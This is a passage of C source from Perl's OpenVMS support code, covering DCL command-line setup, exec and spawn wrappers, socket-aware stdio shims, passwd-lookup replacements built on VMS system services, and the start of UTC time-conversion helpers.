/* vmsspec is a DCL command buffer, not just a filename */
vmsspec = (char *)PerlMem_malloc(MAX_DCL_LINE_LENGTH + 1);
if (vmsspec == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
resspec = (char *)PerlMem_malloc(VMS_MAXRSS);
if (resspec == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
/* Make a copy for modification */
cmdlen = strlen(incmd);
cmd = (char *)PerlMem_malloc(cmdlen+1);
if (cmd == NULL) _ckvmssts_noperl(SS$_INSFMEM);
my_strlcpy(cmd, incmd, cmdlen + 1);
image_name[0] = 0;
image_argv[0] = 0;
resdsc.dsc$a_pointer = resspec;
resdsc.dsc$b_dtype = DSC$K_DTYPE_T;
resdsc.dsc$b_class = DSC$K_CLASS_S;
resdsc.dsc$w_length = VMS_MAXRSS - 1;
vmscmd->dsc$a_pointer = NULL;
vmscmd->dsc$b_dtype = DSC$K_DTYPE_T;
vmscmd->dsc$b_class = DSC$K_CLASS_S;
vmscmd->dsc$w_length = 0;
if (pvmscmd) *pvmscmd = vmscmd;
if (suggest_quote) *suggest_quote = 0;
if (strlen(cmd) > MAX_DCL_LINE_LENGTH) {
PerlMem_free(cmd);
PerlMem_free(vmsspec);
PerlMem_free(resspec);
return CLI$_BUFOVF; /* continuation lines currently unsupported */
}
s = cmd;
while (*s && isSPACE_L1(*s)) s++;
if (*s == '@' || *s == '$') {
vmsspec[0] = *s; rest = s + 1;
for (cp = &vmsspec[1]; *rest && isSPACE_L1(*rest); rest++,cp++) *cp = *rest;
}
else { cp = vmsspec; rest = s; }
/* If the first word is quoted, then we need to unquote it and
* escape spaces within it. We'll expand into the resspec buffer,
* then copy back into the cmd buffer, expanding the latter if
* necessary.
*/
if (*rest == '"') {
char *cp2;
char *r = rest;
bool in_quote = 0;
int clen = cmdlen;
int soff = s - cmd;
for (cp2 = resspec;
*rest && cp2 - resspec < (VMS_MAXRSS - 1);
rest++) {
if (*rest == ' ') { /* Escape ' ' to '^_'. */
*cp2 = '^';
*(++cp2) = '_';
cp2++;
clen++;
}
else if (*rest == '"') {
clen--;
if (in_quote) { /* Must be closing quote. */
rest++;
break;
}
in_quote = 1;
}
else {
*cp2 = *rest;
cp2++;
}
}
*cp2 = '\0';
/* Expand the command buffer if necessary. */
if (clen > cmdlen) {
cmd = (char *)PerlMem_realloc(cmd, clen);
if (cmd == NULL)
_ckvmssts_noperl(SS$_INSFMEM);
/* Where we are may have changed, so recompute offsets */
r = cmd + (r - s - soff);
rest = cmd + (rest - s - soff);
s = cmd + soff;
}
/* Shift the non-verb portion of the command (if any) up or
* down as necessary.
*/
if (*rest)
memmove(rest + clen - cmdlen, rest, s - soff + cmdlen - rest);
/* Copy the unquoted and escaped command verb into place. */
memcpy(r, resspec, cp2 - resspec);
cmd[clen] = '\0';
cmdlen = clen;
rest = r; /* Rewind for subsequent operations. */
}
if (*rest == '.' || *rest == '/') {
char *cp2;
for (cp2 = resspec;
*rest && !isSPACE_L1(*rest) && cp2 - resspec < (VMS_MAXRSS - 1);
rest++, cp2++) *cp2 = *rest;
*cp2 = '\0';
if (int_tovmsspec(resspec, cp, 0, NULL)) {
s = vmsspec;
/* When a UNIX spec with no file type is translated to VMS, */
/* A trailing '.' is appended under ODS-5 rules. */
/* Here we do not want that trailing "." as it prevents */
/* Looking for a implied ".exe" type. */
if (DECC_EFS_CHARSET) {
int i;
i = strlen(vmsspec);
if (vmsspec[i-1] == '.') {
vmsspec[i-1] = '\0';
}
}
if (*rest) {
for (cp2 = vmsspec + strlen(vmsspec);
*rest && cp2 - vmsspec < MAX_DCL_LINE_LENGTH;
rest++, cp2++) *cp2 = *rest;
*cp2 = '\0';
}
}
}
/* Intuit whether verb (first word of cmd) is a DCL command:
* - if first nonspace char is '@', it's a DCL indirection
* otherwise
* - if verb contains a filespec separator, it's not a DCL command
* - if it doesn't, caller tells us whether to default to a DCL
* command, or to a local image unless told it's DCL (by leading '$')
*/
if (*s == '@') {
isdcl = 1;
if (suggest_quote) *suggest_quote = 1;
} else {
char *filespec = strpbrk(s,":<[.;");
rest = wordbreak = strpbrk(s," \"\t/");
if (!wordbreak) wordbreak = s + strlen(s);
if (*s == '$') check_img = 0;
if (filespec && (filespec < wordbreak)) isdcl = 0;
else isdcl = !check_img;
}
if (!isdcl) {
int rsts;
imgdsc.dsc$a_pointer = s;
imgdsc.dsc$w_length = wordbreak - s;
retsts = lib$find_file(&imgdsc,&resdsc,&cxt,&defdsc,0,&rsts,&flags);
if (!(retsts&1)) {
_ckvmssts_noperl(lib$find_file_end(&cxt));
retsts = lib$find_file(&imgdsc,&resdsc,&cxt,&defdsc2,0,&rsts,&flags);
if (!(retsts & 1) && *s == '$') {
_ckvmssts_noperl(lib$find_file_end(&cxt));
imgdsc.dsc$a_pointer++; imgdsc.dsc$w_length--;
retsts = lib$find_file(&imgdsc,&resdsc,&cxt,&defdsc,0,&rsts,&flags);
if (!(retsts&1)) {
_ckvmssts_noperl(lib$find_file_end(&cxt));
retsts = lib$find_file(&imgdsc,&resdsc,&cxt,&defdsc2,0,&rsts,&flags);
}
}
}
_ckvmssts_noperl(lib$find_file_end(&cxt));
if (retsts & 1) {
FILE *fp;
s = resspec;
while (*s && !isSPACE_L1(*s)) s++;
*s = '\0';
/* check that it's really not DCL with no file extension */
fp = fopen(resspec,"r","ctx=bin","ctx=rec","shr=get");
if (fp) {
char b[256] = {0,0,0,0};
read(fileno(fp), b, 256);
isdcl = isPRINT_L1(b[0]) && isPRINT_L1(b[1]) && isPRINT_L1(b[2]) && isPRINT_L1(b[3]);
if (isdcl) {
int shebang_len;
/* Check for script */
shebang_len = 0;
if ((b[0] == '#') && (b[1] == '!'))
shebang_len = 2;
#ifdef ALTERNATE_SHEBANG
else {
if (strEQ(b, ALTERNATE_SHEBANG)) {
char * perlstr;
perlstr = strstr("perl",b);
if (perlstr == NULL)
shebang_len = 0;
else
shebang_len = strlen(ALTERNATE_SHEBANG);
}
else
shebang_len = 0;
}
#endif
if (shebang_len > 0) {
int i;
int j;
char tmpspec[NAM$C_MAXRSS + 1];
i = shebang_len;
/* Image is following after white space */
/*--------------------------------------*/
while (isPRINT_L1(b[i]) && isSPACE_L1(b[i]))
i++;
j = 0;
while (isPRINT_L1(b[i]) && !isSPACE_L1(b[i])) {
tmpspec[j++] = b[i++];
if (j >= NAM$C_MAXRSS)
break;
}
tmpspec[j] = '\0';
/* There may be some default parameters to the image */
/*---------------------------------------------------*/
j = 0;
while (isPRINT_L1(b[i])) {
image_argv[j++] = b[i++];
if (j >= NAM$C_MAXRSS)
break;
}
while ((j > 0) && !isPRINT_L1(image_argv[j-1]))
j--;
image_argv[j] = 0;
/* It will need to be converted to VMS format and validated */
if (tmpspec[0] != '\0') {
char * iname;
/* Try to find the exact program requested to be run */
/*---------------------------------------------------*/
iname = int_rmsexpand
(tmpspec, image_name, ".exe",
PERL_RMSEXPAND_M_VMS, NULL, NULL);
if (iname != NULL) {
if (cando_by_name_int
(S_IXUSR,0,image_name,PERL_RMSEXPAND_M_VMS_IN)) {
/* MCR prefix needed */
isdcl = 0;
}
else {
/* Try again with a null type */
/*----------------------------*/
iname = int_rmsexpand
(tmpspec, image_name, ".",
PERL_RMSEXPAND_M_VMS, NULL, NULL);
if (iname != NULL) {
if (cando_by_name_int
(S_IXUSR,0,image_name, PERL_RMSEXPAND_M_VMS_IN)) {
/* MCR prefix needed */
isdcl = 0;
}
}
}
/* Did we find the image to run the script? */
/*------------------------------------------*/
if (isdcl) {
char *tchr;
/* Assume DCL or foreign command exists */
/*--------------------------------------*/
tchr = strrchr(tmpspec, '/');
if (tchr != NULL) {
tchr++;
}
else {
tchr = tmpspec;
}
my_strlcpy(image_name, tchr, sizeof(image_name));
}
}
}
}
}
fclose(fp);
}
if (check_img && isdcl) {
PerlMem_free(cmd);
PerlMem_free(resspec);
PerlMem_free(vmsspec);
return RMS$_FNF;
}
if (cando_by_name(S_IXUSR,0,resspec)) {
vmscmd->dsc$a_pointer = (char *)PerlMem_malloc(MAX_DCL_LINE_LENGTH);
if (vmscmd->dsc$a_pointer == NULL) _ckvmssts_noperl(SS$_INSFMEM);
if (!isdcl) {
my_strlcpy(vmscmd->dsc$a_pointer,"$ MCR ", MAX_DCL_LINE_LENGTH);
if (image_name[0] != 0) {
my_strlcat(vmscmd->dsc$a_pointer, image_name, MAX_DCL_LINE_LENGTH);
my_strlcat(vmscmd->dsc$a_pointer, " ", MAX_DCL_LINE_LENGTH);
}
} else if (image_name[0] != 0) {
my_strlcpy(vmscmd->dsc$a_pointer, image_name, MAX_DCL_LINE_LENGTH);
my_strlcat(vmscmd->dsc$a_pointer, " ", MAX_DCL_LINE_LENGTH);
} else {
my_strlcpy(vmscmd->dsc$a_pointer, "@", MAX_DCL_LINE_LENGTH);
}
if (suggest_quote) *suggest_quote = 1;
/* If there is an image name, use original command */
if (image_name[0] == 0)
my_strlcat(vmscmd->dsc$a_pointer, resspec, MAX_DCL_LINE_LENGTH);
else {
rest = cmd;
while (*rest && isSPACE_L1(*rest)) rest++;
}
if (image_argv[0] != 0) {
my_strlcat(vmscmd->dsc$a_pointer, image_argv, MAX_DCL_LINE_LENGTH);
my_strlcat(vmscmd->dsc$a_pointer, " ", MAX_DCL_LINE_LENGTH);
}
if (rest) {
int rest_len;
int vmscmd_len;
rest_len = strlen(rest);
vmscmd_len = strlen(vmscmd->dsc$a_pointer);
if ((rest_len + vmscmd_len) < MAX_DCL_LINE_LENGTH)
my_strlcat(vmscmd->dsc$a_pointer, rest, MAX_DCL_LINE_LENGTH);
else
retsts = CLI$_BUFOVF;
}
vmscmd->dsc$w_length = strlen(vmscmd->dsc$a_pointer);
PerlMem_free(cmd);
PerlMem_free(vmsspec);
PerlMem_free(resspec);
return (vmscmd->dsc$w_length > MAX_DCL_LINE_LENGTH ? CLI$_BUFOVF : retsts);
}
else
retsts = RMS$_PRV;
}
}
/* It's either a DCL command or we couldn't find a suitable image */
vmscmd->dsc$w_length = strlen(cmd);
vmscmd->dsc$a_pointer = (char *)PerlMem_malloc(vmscmd->dsc$w_length + 1);
my_strlcpy(vmscmd->dsc$a_pointer, cmd, vmscmd->dsc$w_length + 1);
PerlMem_free(cmd);
PerlMem_free(resspec);
PerlMem_free(vmsspec);
/* check if it's a symbol (for quoting purposes) */
if (suggest_quote && !*suggest_quote) {
int iss;
char equiv[LNM$C_NAMLENGTH];
struct dsc$descriptor_s eqvdsc = {sizeof(equiv), DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
eqvdsc.dsc$a_pointer = equiv;
iss = lib$get_symbol(vmscmd,&eqvdsc);
if (iss&1 && (*equiv == '$' || *equiv == '@')) *suggest_quote = 1;
}
if (!(retsts & 1)) {
/* just hand off status values likely to be due to user error */
if (retsts == RMS$_FNF || retsts == RMS$_DNF || retsts == RMS$_PRV ||
retsts == RMS$_DEV || retsts == RMS$_DIR || retsts == RMS$_SYN ||
(retsts & STS$M_CODE) == (SHR$_NOWILD & STS$M_CODE)) return retsts;
else { _ckvmssts_noperl(retsts); }
}
return (vmscmd->dsc$w_length > MAX_DCL_LINE_LENGTH ? CLI$_BUFOVF : retsts);
} /* end of setup_cmddsc() */
/* {{{ bool vms_do_aexec(SV *really,SV **mark,SV **sp) */
bool
Perl_vms_do_aexec(pTHX_ SV *really,SV **mark,SV **sp)
{
bool exec_sts;
char * cmd;
if (vfork_called) { /* this follows a vfork - act Unixish */
vfork_called--;
if (vfork_called < 0) {
Perl_warn(aTHX_ "Internal inconsistency in tracking vforks");
vfork_called = 0;
}
else return do_aexec(really,mark,sp);
}
/* no vfork - act VMSish */
if (sp > mark) {
ENTER;
cmd = setup_argstr(aTHX_ really,mark,sp);
exec_sts = vms_do_exec(cmd);
LEAVE;
return exec_sts;
}
SETERRNO(ENOENT, RMS_FNF);
return FALSE;
} /* end of vms_do_aexec() */
/*}}}*/
/* {{{bool vms_do_exec(char *cmd) */
bool
Perl_vms_do_exec(pTHX_ const char *cmd)
{
struct dsc$descriptor_s *vmscmd;
if (vfork_called) { /* this follows a vfork - act Unixish */
vfork_called--;
if (vfork_called < 0) {
Perl_warn(aTHX_ "Internal inconsistency in tracking vforks");
vfork_called = 0;
}
else return do_exec(cmd);
}
{ /* no vfork - act VMSish */
unsigned long int retsts;
TAINT_ENV();
TAINT_PROPER("exec");
if ((retsts = setup_cmddsc(aTHX_ cmd,1,0,&vmscmd)) & 1)
retsts = lib$do_command(vmscmd);
switch (retsts) {
case RMS$_FNF: case RMS$_DNF:
set_errno(ENOENT); break;
case RMS$_DIR:
set_errno(ENOTDIR); break;
case RMS$_DEV:
set_errno(ENODEV); break;
case RMS$_PRV:
set_errno(EACCES); break;
case RMS$_SYN:
set_errno(EINVAL); break;
case CLI$_BUFOVF: case RMS$_RTB: case CLI$_TKNOVF: case CLI$_RSLOVF:
set_errno(E2BIG); break;
case LIB$_INVARG: case LIB$_INVSTRDES: case SS$_ACCVIO: /* shouldn't happen */
_ckvmssts_noperl(retsts); /* fall through */
default: /* SS$_DUPLNAM, SS$_CLI, resource exhaustion, etc. */
set_errno(EVMSERR);
}
set_vaxc_errno(retsts);
if (ckWARN(WARN_EXEC)) {
Perl_warner(aTHX_ packWARN(WARN_EXEC),"Can't exec \"%*s\": %s",
vmscmd->dsc$w_length, vmscmd->dsc$a_pointer, Strerror(errno));
}
vms_execfree(vmscmd);
}
return FALSE;
} /* end of vms_do_exec() */
/*}}}*/
int do_spawn2(pTHX_ const char *, int);
int
Perl_do_aspawn(pTHX_ SV* really, SV** mark, SV** sp)
{
unsigned long int sts;
char * cmd;
int flags = 0;
if (sp > mark) {
/* We'll copy the (undocumented?) Win32 behavior and allow a
* numeric first argument. But the only value we'll support
* through do_aspawn is a value of 1, which means spawn without
* waiting for completion -- other values are ignored.
*/
if (SvNIOKp(*(mark+1)) && !SvPOKp(*(mark+1))) {
++mark;
flags = SvIVx(*mark);
}
if (flags && flags == 1) /* the Win32 P_NOWAIT value */
flags = CLI$M_NOWAIT;
else
flags = 0;
ENTER;
cmd = setup_argstr(aTHX_ really, mark, sp);
sts = do_spawn2(aTHX_ cmd, flags);
LEAVE;
/* pp_sys will clean up cmd */
return sts;
}
return SS$_ABORT;
} /* end of do_aspawn() */
/*}}}*/
/* {{{int do_spawn(char* cmd) */
int
Perl_do_spawn(pTHX_ char* cmd)
{
PERL_ARGS_ASSERT_DO_SPAWN;
return do_spawn2(aTHX_ cmd, 0);
}
/*}}}*/
/* {{{int do_spawn_nowait(char* cmd) */
int
Perl_do_spawn_nowait(pTHX_ char* cmd)
{
PERL_ARGS_ASSERT_DO_SPAWN_NOWAIT;
return do_spawn2(aTHX_ cmd, CLI$M_NOWAIT);
}
/*}}}*/
/* {{{int do_spawn2(char *cmd) */
int
do_spawn2(pTHX_ const char *cmd, int flags)
{
unsigned long int sts, substs;
TAINT_ENV();
TAINT_PROPER("spawn");
if (!cmd || !*cmd) {
sts = lib$spawn(0,0,0,&flags,0,0,&substs,0,0,0,0,0,0);
if (!(sts & 1)) {
switch (sts) {
case RMS$_FNF: case RMS$_DNF:
set_errno(ENOENT); break;
case RMS$_DIR:
set_errno(ENOTDIR); break;
case RMS$_DEV:
set_errno(ENODEV); break;
case RMS$_PRV:
set_errno(EACCES); break;
case RMS$_SYN:
set_errno(EINVAL); break;
case CLI$_BUFOVF: case RMS$_RTB: case CLI$_TKNOVF: case CLI$_RSLOVF:
set_errno(E2BIG); break;
case LIB$_INVARG: case LIB$_INVSTRDES: case SS$_ACCVIO: /* shouldn't happen */
_ckvmssts_noperl(sts); /* fall through */
default: /* SS$_DUPLNAM, SS$_CLI, resource exhaustion, etc. */
set_errno(EVMSERR);
}
set_vaxc_errno(sts);
if (ckWARN(WARN_EXEC)) {
Perl_warner(aTHX_ packWARN(WARN_EXEC),"Can't spawn: %s",
Strerror(errno));
}
}
sts = substs;
}
else {
char mode[3];
PerlIO * fp;
if (flags & CLI$M_NOWAIT)
strcpy(mode, "n");
else
strcpy(mode, "nW");
fp = safe_popen(aTHX_ cmd, mode, (int *)&sts);
if (fp != NULL)
my_pclose(fp);
/* sts will be the pid in the nowait case, so leave a
* hint saying not to do any bit shifting to it.
*/
if (flags & CLI$M_NOWAIT)
PL_statusvalue = -1;
}
return sts;
} /* end of do_spawn2() */
/*}}}*/
static unsigned int *sockflags, sockflagsize;
/*
* Shim fdopen to identify sockets for my_fwrite later, since the stdio
* routines found in some versions of the CRTL can't deal with sockets.
* We don't shim the other file open routines since a socket isn't
* likely to be opened by a name.
*/
/*{{{ FILE *my_fdopen(int fd, const char *mode)*/
FILE *
my_fdopen(int fd, const char *mode)
{
FILE *fp = fdopen(fd, mode);
if (fp) {
unsigned int fdoff = fd / sizeof(unsigned int);
Stat_t sbuf; /* native stat; we don't need flex_stat */
if (!sockflagsize || fdoff > sockflagsize) {
if (sockflags) Renew( sockflags,fdoff+2,unsigned int);
else Newx (sockflags,fdoff+2,unsigned int);
memset(sockflags+sockflagsize,0,fdoff + 2 - sockflagsize);
sockflagsize = fdoff + 2;
}
if (fstat(fd, &sbuf.crtl_stat) == 0 && S_ISSOCK(sbuf.st_mode))
sockflags[fdoff] |= 1 << (fd % sizeof(unsigned int));
}
return fp;
}
/*}}}*/
/*
* Clear the corresponding bit when the (possibly) socket stream is closed.
* There still a small hole: we miss an implicit close which might occur
* via freopen(). >> Todo
*/
/*{{{ int my_fclose(FILE *fp)*/
int
my_fclose(FILE *fp) {
if (fp) {
unsigned int fd = fileno(fp);
unsigned int fdoff = fd / sizeof(unsigned int);
if (sockflagsize && fdoff < sockflagsize)
sockflags[fdoff] &= ~(1 << fd % sizeof(unsigned int));
}
return fclose(fp);
}
/*}}}*/
/*
* A simple fwrite replacement which outputs itmsz*nitm chars without
* introducing record boundaries every itmsz chars.
* We are using fputs, which depends on a terminating null. We may
* well be writing binary data, so we need to accommodate not only
* data with nulls sprinkled in the middle but also data with no null
* byte at the end.
*/
/*{{{ int my_fwrite(const void *src, size_t itmsz, size_t nitm, FILE *dest)*/
int
my_fwrite(const void *src, size_t itmsz, size_t nitm, FILE *dest)
{
char *cp, *end, *cpd;
char *data;
unsigned int fd = fileno(dest);
unsigned int fdoff = fd / sizeof(unsigned int);
int retval;
int bufsize = itmsz * nitm + 1;
if (fdoff < sockflagsize &&
(sockflags[fdoff] | 1 << (fd % sizeof(unsigned int)))) {
if (write(fd, src, itmsz * nitm) == EOF) return EOF;
return nitm;
}
_ckvmssts_noperl(lib$get_vm(&bufsize, &data));
memcpy( data, src, itmsz*nitm );
data[itmsz*nitm] = '\0';
end = data + itmsz * nitm;
retval = (int) nitm; /* on success return # items written */
cpd = data;
while (cpd <= end) {
for (cp = cpd; cp <= end; cp++) if (!*cp) break;
if (fputs(cpd,dest) == EOF) { retval = EOF; break; }
if (cp < end)
if (fputc('\0',dest) == EOF) { retval = EOF; break; }
cpd = cp + 1;
}
if (data) _ckvmssts_noperl(lib$free_vm(&bufsize, &data));
return retval;
} /* end of my_fwrite() */
/*}}}*/
/*{{{ int my_flush(FILE *fp)*/
int
Perl_my_flush(pTHX_ FILE *fp)
{
int res;
if ((res = fflush(fp)) == 0 && fp) {
#ifdef VMS_DO_SOCKETS
Stat_t s;
if (fstat(fileno(fp), &s.crtl_stat) == 0 && !S_ISSOCK(s.st_mode))
#endif
res = fsync(fileno(fp));
}
/*
* If the flush succeeded but set end-of-file, we need to clear
* the error because our caller may check ferror(). BTW, this
* probably means we just flushed an empty file.
*/
if (res == 0 && vaxc$errno == RMS$_EOF) clearerr(fp);
return res;
}
/*}}}*/
/* fgetname() is not returning the correct file specifications when
* decc_filename_unix_report mode is active. So we have to have it
* aways return filenames in VMS mode and convert it ourselves.
*/
/*{{{ char * my_fgetname(FILE *fp, buf)*/
char *
Perl_my_fgetname(FILE *fp, char * buf) {
char * retname;
char * vms_name;
retname = fgetname(fp, buf, 1);
/* If we are in VMS mode, then we are done */
if (!DECC_FILENAME_UNIX_REPORT || (retname == NULL)) {
return retname;
}
/* Convert this to Unix format */
vms_name = (char *)PerlMem_malloc(VMS_MAXRSS);
my_strlcpy(vms_name, retname, VMS_MAXRSS);
retname = int_tounixspec(vms_name, buf, NULL);
PerlMem_free(vms_name);
return retname;
}
/*}}}*/
/*
* Here are replacements for the following Unix routines in the VMS environment:
* getpwuid Get information for a particular UIC or UID
* getpwnam Get information for a named user
* getpwent Get information for each user in the rights database
* setpwent Reset search to the start of the rights database
* endpwent Finish searching for users in the rights database
*
* getpwuid, getpwnam, and getpwent return a pointer to the passwd structure
* (defined in pwd.h), which contains the following fields:-
* struct passwd {
* char *pw_name; Username (in lower case)
* char *pw_passwd; Hashed password
* unsigned int pw_uid; UIC
* unsigned int pw_gid; UIC group number
* char *pw_unixdir; Default device/directory (VMS-style)
* char *pw_gecos; Owner name
* char *pw_dir; Default device/directory (Unix-style)
* char *pw_shell; Default CLI name (eg. DCL)
* };
* If the specified user does not exist, getpwuid and getpwnam return NULL.
*
* pw_uid is the full UIC (eg. what's returned by stat() in st_uid).
* not the UIC member number (eg. what's returned by getuid()),
* getpwuid() can accept either as input (if uid is specified, the caller's
* UIC group is used), though it won't recognise gid=0.
*
* Note that in VMS it is necessary to have GRPPRV or SYSPRV to return
* information about other users in your group or in other groups, respectively.
* If the required privilege is not available, then these routines fill only
* the pw_name, pw_uid, and pw_gid fields (the others point to an empty
* string).
*
* By Tim Adye ([email protected]), 10th February 1995.
*/
/* sizes of various UAF record fields */
#define UAI$S_USERNAME 12
#define UAI$S_IDENT 31
#define UAI$S_OWNER 31
#define UAI$S_DEFDEV 31
#define UAI$S_DEFDIR 63
#define UAI$S_DEFCLI 31
#define UAI$S_PWD 8
#define valid_uic(uic) ((uic).uic$v_format == UIC$K_UIC_FORMAT && \
(uic).uic$v_member != UIC$K_WILD_MEMBER && \
(uic).uic$v_group != UIC$K_WILD_GROUP)
static char __empty[]= "";
static struct passwd __passwd_empty=
{(char *) __empty, (char *) __empty, 0, 0,
(char *) __empty, (char *) __empty, (char *) __empty, (char *) __empty};
static int contxt= 0;
static struct passwd __pwdcache;
static char __pw_namecache[UAI$S_IDENT+1];
/*
* This routine does most of the work extracting the user information.
*/
static int
fillpasswd (pTHX_ const char *name, struct passwd *pwd)
{
static struct {
unsigned char length;
char pw_gecos[UAI$S_OWNER+1];
} owner;
static union uicdef uic;
static struct {
unsigned char length;
char pw_dir[UAI$S_DEFDEV+UAI$S_DEFDIR+1];
} defdev;
static struct {
unsigned char length;
char unixdir[UAI$_DEFDEV+UAI$S_DEFDIR+1];
} defdir;
static struct {
unsigned char length;
char pw_shell[UAI$S_DEFCLI+1];
} defcli;
static char pw_passwd[UAI$S_PWD+1];
static unsigned short lowner, luic, ldefdev, ldefdir, ldefcli, lpwd;
struct dsc$descriptor_s name_desc;
unsigned long int sts;
static struct itmlst_3 itmlst[]= {
{UAI$S_OWNER+1, UAI$_OWNER, &owner, &lowner},
{sizeof(uic), UAI$_UIC, &uic, &luic},
{UAI$S_DEFDEV+1, UAI$_DEFDEV, &defdev, &ldefdev},
{UAI$S_DEFDIR+1, UAI$_DEFDIR, &defdir, &ldefdir},
{UAI$S_DEFCLI+1, UAI$_DEFCLI, &defcli, &ldefcli},
{UAI$S_PWD, UAI$_PWD, pw_passwd, &lpwd},
{0, 0, NULL, NULL}};
name_desc.dsc$w_length= strlen(name);
name_desc.dsc$b_dtype= DSC$K_DTYPE_T;
name_desc.dsc$b_class= DSC$K_CLASS_S;
name_desc.dsc$a_pointer= (char *) name; /* read only pointer */
/* Note that sys$getuai returns many fields as counted strings. */
sts= sys$getuai(0, 0, &name_desc, &itmlst, 0, 0, 0);
if (sts == SS$_NOSYSPRV || sts == SS$_NOGRPPRV || sts == RMS$_RNF) {
set_vaxc_errno(sts); set_errno(sts == RMS$_RNF ? EINVAL : EACCES);
}
else { _ckvmssts(sts); }
if (!(sts & 1)) return 0; /* out here in case _ckvmssts() doesn't abort */
if ((int) owner.length < lowner) lowner= (int) owner.length;
if ((int) defdev.length < ldefdev) ldefdev= (int) defdev.length;
if ((int) defdir.length < ldefdir) ldefdir= (int) defdir.length;
if ((int) defcli.length < ldefcli) ldefcli= (int) defcli.length;
memcpy(&defdev.pw_dir[ldefdev], &defdir.unixdir[0], ldefdir);
owner.pw_gecos[lowner]= '\0';
defdev.pw_dir[ldefdev+ldefdir]= '\0';
defcli.pw_shell[ldefcli]= '\0';
if (valid_uic(uic)) {
pwd->pw_uid= uic.uic$l_uic;
pwd->pw_gid= uic.uic$v_group;
}
else
Perl_warn(aTHX_ "getpwnam returned invalid UIC %#o for user \"%s\"");
pwd->pw_passwd= pw_passwd;
pwd->pw_gecos= owner.pw_gecos;
pwd->pw_dir= defdev.pw_dir;
pwd->pw_unixdir= do_tounixpath(defdev.pw_dir, defdir.unixdir,1,NULL);
pwd->pw_shell= defcli.pw_shell;
if (pwd->pw_unixdir && pwd->pw_unixdir[0]) {
int ldir;
ldir= strlen(pwd->pw_unixdir) - 1;
if (pwd->pw_unixdir[ldir]=='/') pwd->pw_unixdir[ldir]= '\0';
}
else
my_strlcpy(pwd->pw_unixdir, pwd->pw_dir, sizeof(pwd->pw_unixdir));
if (!DECC_EFS_CASE_PRESERVE)
__mystrtolower(pwd->pw_unixdir);
return 1;
}
/*
* Get information for a named user.
*/
/*{{{struct passwd *getpwnam(char *name)*/
struct passwd *
Perl_my_getpwnam(pTHX_ const char *name)
{
struct dsc$descriptor_s name_desc;
union uicdef uic;
unsigned long int sts;
__pwdcache = __passwd_empty;
if (!fillpasswd(aTHX_ name, &__pwdcache)) {
/* We still may be able to determine pw_uid and pw_gid */
name_desc.dsc$w_length= strlen(name);
name_desc.dsc$b_dtype= DSC$K_DTYPE_T;
name_desc.dsc$b_class= DSC$K_CLASS_S;
name_desc.dsc$a_pointer= (char *) name;
if ((sts = sys$asctoid(&name_desc, &uic, 0)) == SS$_NORMAL) {
__pwdcache.pw_uid= uic.uic$l_uic;
__pwdcache.pw_gid= uic.uic$v_group;
}
else {
if (sts == SS$_NOSUCHID || sts == SS$_IVIDENT || sts == RMS$_PRV) {
set_vaxc_errno(sts);
set_errno(sts == RMS$_PRV ? EACCES : EINVAL);
return NULL;
}
else { _ckvmssts(sts); }
}
}
my_strlcpy(__pw_namecache, name, sizeof(__pw_namecache));
__pwdcache.pw_name= __pw_namecache;
return &__pwdcache;
} /* end of my_getpwnam() */
/*}}}*/
/*
* Get information for a particular UIC or UID.
* Called by my_getpwent with uid=-1 to list all users.
*/
/*{{{struct passwd *my_getpwuid(Uid_t uid)*/
struct passwd *
Perl_my_getpwuid(pTHX_ Uid_t uid)
{
const $DESCRIPTOR(name_desc,__pw_namecache);
unsigned short lname;
union uicdef uic;
unsigned long int status;
if (uid == (unsigned int) -1) {
do {
status = sys$idtoasc(-1, &lname, &name_desc, &uic, 0, &contxt);
if (status == SS$_NOSUCHID || status == RMS$_PRV) {
set_vaxc_errno(status);
set_errno(status == RMS$_PRV ? EACCES : EINVAL);
my_endpwent();
return NULL;
}
else { _ckvmssts(status); }
} while (!valid_uic (uic));
}
else {
uic.uic$l_uic= uid;
if (!uic.uic$v_group)
uic.uic$v_group= PerlProc_getgid();
if (valid_uic(uic))
status = sys$idtoasc(uic.uic$l_uic, &lname, &name_desc, 0, 0, 0);
else status = SS$_IVIDENT;
if (status == SS$_IVIDENT || status == SS$_NOSUCHID ||
status == RMS$_PRV) {
set_vaxc_errno(status); set_errno(status == RMS$_PRV ? EACCES : EINVAL);
return NULL;
}
else { _ckvmssts(status); }
}
__pw_namecache[lname]= '\0';
__mystrtolower(__pw_namecache);
__pwdcache = __passwd_empty;
__pwdcache.pw_name = __pw_namecache;
/* Fill in the uid and gid in case fillpasswd can't (eg. no privilege).
The identifier's value is usually the UIC, but it doesn't have to be,
so if we can, we let fillpasswd update this. */
__pwdcache.pw_uid = uic.uic$l_uic;
__pwdcache.pw_gid = uic.uic$v_group;
fillpasswd(aTHX_ __pw_namecache, &__pwdcache);
return &__pwdcache;
} /* end of my_getpwuid() */
/*}}}*/
/*
* Get information for next user.
*/
/*{{{struct passwd *my_getpwent()*/
struct passwd *
Perl_my_getpwent(pTHX)
{
return (my_getpwuid((unsigned int) -1));
}
/*}}}*/
/*
* Finish searching rights database for users.
*/
/*{{{void my_endpwent()*/
void
Perl_my_endpwent(pTHX)
{
if (contxt) {
_ckvmssts(sys$finish_rdb(&contxt));
contxt= 0;
}
}
/*}}}*/
/* Used for UTC calculation in my_gmtime(), my_localtime(), my_time(),
* my_utime(), and flex_stat(), all of which operate on UTC unless
* VMSISH_TIMES is true.
*/
/* method used to handle UTC conversions:
* 1 == CRTL gmtime(); 2 == SYS$TIMEZONE_DIFFERENTIAL; 3 == no correction
*/
static int gmtime_emulation_type;
/* number of secs to add to UTC POSIX-style time to get local time */
static long int utc_offset_secs;
/* We #defined 'gmtime', 'localtime', and 'time' as 'my_gmtime' etc.
* in vmsish.h. #undef them here so we can call the CRTL routines
* directly.
*/
#undef gmtime
#undef localtime
#undef time
static time_t toutc_dst(time_t loc) {
struct tm *rsltmp;
if ((rsltmp = localtime(&loc)) == NULL) return -1u;
loc -= utc_offset_secs;
if (rsltmp->tm_isdst) loc -= 3600;
return loc;
}
#define _toutc(secs) ((secs) == (time_t) -1 ? (time_t) -1 : \
((gmtime_emulation_type || my_time(NULL)), \
(gmtime_emulation_type == 1 ? toutc_dst(secs) : \
((secs) - utc_offset_secs))))
static time_t toloc_dst(time_t utc) {
struct tm *rsltmp;
utc += utc_offset_secs;
if ((rsltmp = localtime(&utc)) == NULL) return -1u;
if (rsltmp->tm_isdst) utc += 3600;
return utc;
}
#define _toloc(secs) ((secs) == (time_t) -1 ? (time_t) -1 : \
